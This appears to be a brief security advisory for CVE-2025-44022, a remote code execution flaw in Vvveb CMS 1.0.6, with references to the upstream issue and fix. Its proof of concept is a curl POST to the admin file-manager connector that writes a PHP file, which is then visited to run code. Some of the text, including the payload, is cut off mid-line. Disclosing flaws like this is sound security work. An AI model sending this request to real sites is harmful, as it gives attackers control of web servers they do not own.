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#CVE-2025-44022: Remote Code Execution via Insecure Plugin Mechanism in Vvveb CMS (v1.0.6)

Vvveb CMS version 1.0.6 is vulnerable to remote code execution attack due to insufficient valida

PoC: 

Step 01: Run command to edit and create index.php and achive code execution:

curl --path-as-is -i -s -k -X POST \

  -H 'Host: demo.vvveb.com' \

  -H 'Accept: application/json, text/javascript, */*; q=0.01' \

  -H 'Accept-Encoding: gzip, deflate, br' \

  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \

  -H 'Te: trailers' \

  --data-binary $'cmd=put&target=l1_cHVibGljL2FkbWluL2luZGV4MS5waHA&encoding=UTF-8&content=%3Cht

  $'https://demo.vvveb.com/admin/?module=plugins/file-manager/view&action=connector'

Step 02: visit https://demo.vvveb.com/admin/index.php and get RCE

Discovered by PawnCS Team.

References:

https://github.com/givanz/Vvveb/issues/289

https://github.com/givanz/Vvveb/commit/dd74abcae88f658779f61338b9f4c123884eef0d
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